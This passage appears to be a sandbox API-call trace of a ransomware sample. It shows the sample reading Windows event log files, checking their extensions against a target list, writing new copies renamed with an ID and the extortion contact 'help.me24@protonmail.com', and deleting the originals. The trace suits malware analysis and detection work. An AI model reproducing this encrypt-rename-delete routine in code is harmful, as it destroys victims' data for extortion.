	[0080.804] ReadFile (in: hFile=0x360, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.805] WriteFile (in: hFile=0x35c, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x170, lpOverlapped=0x0) returned 1
	[0080.805] SetEndOfFile (hFile=0x35c) returned 1
	[0080.805] CloseHandle (hObject=0x35c) returned 1
	[0081.106] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.107] SetEndOfFile (hFile=0x360) returned 1
	[0081.159] CloseHandle (hObject=0x360) returned 1
	[0081.159] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0081.159] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx")) returned 1
	[0081.176] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86
	[0081.176] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86
	[0081.176] lstrlenW (lpString=".doc") returned 4
	[0081.176] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.176] lstrlenW (lpString=".docx") returned 5
	[0081.176] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.176] lstrlenW (lpString=".pdf") returned 4
	[0081.176] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.176] lstrlenW (lpString=".xls") returned 4
	[0081.185] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.185] lstrlenW (lpString=".xlsx") returned 5
	[0081.185] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.185] lstrlenW (lpString=".ppt") returned 4
	[0081.185] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.185] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86
	[0081.186] lstrlenW (lpString=".zip") returned 4
	[0081.186] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.186] lstrlenW (lpString=".rar") returned 4
	[0081.186] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.186] lstrlenW (lpString=".bz2") returned 4
	[0081.186] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0081.186] lstrlenW (lpString=".7z") returned 3
	[0081.186] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.186] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86
	[0081.186] lstrlenW (lpString=".dbf") returned 4
	[0081.186] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.186] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86
	[0081.186] lstrlenW (lpString=".1cd") returned 4
	[0081.186] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.186] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86
	[0081.186] lstrlenW (lpString=".jpg") returned 4
	[0081.186] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.186] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86
	[0081.186] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86
	[0081.186] lstrlenW (lpString=".doc") returned 4
	[0081.186] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.186] lstrlenW (lpString=".docx") returned 5
	[0081.186] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.186] lstrlenW (lpString=".pdf") returned 4
	[0081.186] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.186] lstrlenW (lpString=".xls") returned 4
	[0081.186] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.186] lstrlenW (lpString=".xlsx") returned 5
	[0081.186] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.186] lstrlenW (lpString=".ppt") returned 4
	[0081.186] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.186] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86
	[0081.186] lstrlenW (lpString=".zip") returned 4
	[0081.187] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.187] lstrlenW (lpString=".rar") returned 4
	[0081.187] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.187] lstrlenW (lpString=".bz2") returned 4
	[0081.187] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0081.187] lstrlenW (lpString=".7z") returned 3
	[0081.187] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.187] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86
	[0081.187] lstrlenW (lpString=".dbf") returned 4
	[0081.187] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.187] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86
	[0081.187] lstrlenW (lpString=".1cd") returned 4
	[0081.187] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.187] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86
	[0081.187] lstrlenW (lpString=".jpg") returned 4
	[0081.187] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.187] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0081.187] lstrlenW (lpString="Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 42
	[0081.187] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0081.189] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=69632) returned 1
	[0081.189] CloseHandle (hObject=0x360) returned 1
	[0081.189] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx")) returned 0x20
	[0081.190] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0081.190] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0081.190] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.190] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.190] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0081.190] GetLastError () returned 0x0
	[0081.190] ReadFile (in: hFile=0x360, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0081.203] WriteFile (in: hFile=0x370, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0081.205] ReadFile (in: hFile=0x360, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.205] WriteFile (in: hFile=0x370, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x128, lpOverlapped=0x0) returned 1
	[0081.205] SetEndOfFile (hFile=0x370) returned 1
	[0081.205] CloseHandle (hObject=0x370) returned 1
	[0081.210] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.210] SetEndOfFile (hFile=0x360) returned 1
	[0081.211] CloseHandle (hObject=0x360) returned 1
	[0081.211] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0081.211] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx")) returned 1
	[0081.212] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50
	[0081.212] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50
	[0081.212] lstrlenW (lpString=".doc") returned 4
	[0081.212] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.212] lstrlenW (lpString=".docx") returned 5
	[0081.212] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.212] lstrlenW (lpString=".pdf") returned 4
	[0081.212] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.212] lstrlenW (lpString=".xls") returned 4
	[0081.212] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.212] lstrlenW (lpString=".xlsx") returned 5
	[0081.212] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.212] lstrlenW (lpString=".ppt") returned 4
	[0081.212] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.212] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50
	[0081.212] lstrlenW (lpString=".zip") returned 4
	[0081.212] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.212] lstrlenW (lpString=".rar") returned 4
	[0081.212] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.212] lstrlenW (lpString=".bz2") returned 4
	[0081.212] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0081.212] lstrlenW (lpString=".7z") returned 3
	[0081.212] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.212] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50
	[0081.212] lstrlenW (lpString=".dbf") returned 4
	[0081.212] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.213] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50
	[0081.213] lstrlenW (lpString=".1cd") returned 4
	[0081.213] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.213] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50
	[0081.213] lstrlenW (lpString=".jpg") returned 4
	[0081.213] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.213] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50
	[0081.213] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50
	[0081.213] lstrlenW (lpString=".doc") returned 4
	[0081.213] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.213] lstrlenW (lpString=".docx") returned 5
	[0081.213] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.213] lstrlenW (lpString=".pdf") returned 4
	[0081.213] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.213] lstrlenW (lpString=".xls") returned 4
	[0081.213] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.213] lstrlenW (lpString=".xlsx") returned 5
	[0081.213] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.213] lstrlenW (lpString=".ppt") returned 4
	[0081.213] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.213] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50
	[0081.213] lstrlenW (lpString=".zip") returned 4
	[0081.213] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.213] lstrlenW (lpString=".rar") returned 4
	[0081.213] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.213] lstrlenW (lpString=".bz2") returned 4
	[0081.213] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0081.213] lstrlenW (lpString=".7z") returned 3
	[0081.213] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.213] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50
	[0081.213] lstrlenW (lpString=".dbf") returned 4
	[0081.213] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.213] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50
	[0081.213] lstrlenW (lpString=".1cd") returned 4
	[0081.214] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.214] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50
	[0081.214] lstrlenW (lpString=".jpg") returned 4
	[0081.214] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.214] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0081.214] lstrlenW (lpString="Microsoft-Windows-Known Folders API Service.evtx") returned 48
	[0081.214] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0081.216] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=69632) returned 1
	[0081.216] CloseHandle (hObject=0x374) returned 1
	[0081.216] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx")) returned 0x20
	[0081.216] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0081.216] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0081.216] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.236] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.236] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0082.347] GetLastError () returned 0x0
	[0082.347] ReadFile (in: hFile=0x374, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0082.350] WriteFile (in: hFile=0x320, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0082.352] ReadFile (in: hFile=0x374, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.352] WriteFile (in: hFile=0x320, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x134, lpOverlapped=0x0) returned 1
	[0082.352] SetEndOfFile (hFile=0x320) returned 1
	[0082.352] CloseHandle (hObject=0x320) returned 1
	[0082.354] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.354] SetEndOfFile (hFile=0x374) returned 1
	[0082.355] CloseHandle (hObject=0x374) returned 1
	[0082.355] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0082.356] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx")) returned 1
	[0082.356] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56
	[0082.356] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56
	[0082.356] lstrlenW (lpString=".doc") returned 4
	[0082.356] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.356] lstrlenW (lpString=".docx") returned 5
	[0082.356] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.356] lstrlenW (lpString=".pdf") returned 4
	[0082.356] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.356] lstrlenW (lpString=".xls") returned 4
	[0082.356] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.356] lstrlenW (lpString=".xlsx") returned 5
	[0082.356] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.356] lstrlenW (lpString=".ppt") returned 4
	[0082.356] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.356] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56
	[0082.356] lstrlenW (lpString=".zip") returned 4
	[0082.356] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.356] lstrlenW (lpString=".rar") returned 4
	[0082.357] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.357] lstrlenW (lpString=".bz2") returned 4
	[0082.357] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.357] lstrlenW (lpString=".7z") returned 3
	[0082.357] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.357] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56
	[0082.357] lstrlenW (lpString=".dbf") returned 4
	[0082.357] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.357] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56
	[0082.357] lstrlenW (lpString=".1cd") returned 4
	[0082.357] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.357] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56
	[0082.357] lstrlenW (lpString=".jpg") returned 4
	[0082.357] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.357] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56
	[0082.357] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56
	[0082.357] lstrlenW (lpString=".doc") returned 4
	[0082.357] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.357] lstrlenW (lpString=".docx") returned 5
	[0082.357] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.357] lstrlenW (lpString=".pdf") returned 4
	[0082.357] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.357] lstrlenW (lpString=".xls") returned 4
	[0082.357] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.357] lstrlenW (lpString=".xlsx") returned 5
	[0082.357] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.357] lstrlenW (lpString=".ppt") returned 4
	[0082.357] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.357] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56
	[0082.357] lstrlenW (lpString=".zip") returned 4
	[0082.358] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.358] lstrlenW (lpString=".rar") returned 4
	[0082.358] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.358] lstrlenW (lpString=".bz2") returned 4
	[0082.358] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.358] lstrlenW (lpString=".7z") returned 3
	[0082.358] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.358] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56
	[0082.358] lstrlenW (lpString=".dbf") returned 4
	[0082.358] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.358] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56
	[0082.358] lstrlenW (lpString=".1cd") returned 4
	[0082.358] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.358] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56
	[0082.358] lstrlenW (lpString=".jpg") returned 4
	[0082.358] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.358] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0082.358] lstrlenW (lpString="Microsoft-Windows-SettingSync%4Operational.evtx") returned 47
	[0082.358] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0082.358] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=69632) returned 1
	[0082.359] CloseHandle (hObject=0x374) returned 1
	[0082.359] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx")) returned 0x20
	[0082.359] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0082.359] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0082.359] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.359] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.359] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0082.359] GetLastError () returned 0x0
	[0082.359] ReadFile (in: hFile=0x374, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0082.362] WriteFile (in: hFile=0x320, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0082.364] ReadFile (in: hFile=0x374, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.364] WriteFile (in: hFile=0x320, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x132, lpOverlapped=0x0) returned 1
	[0082.364] SetEndOfFile (hFile=0x320) returned 1
	[0082.364] CloseHandle (hObject=0x320) returned 1
	[0082.367] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.367] SetEndOfFile (hFile=0x374) returned 1
	[0082.368] CloseHandle (hObject=0x374) returned 1
	[0082.368] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
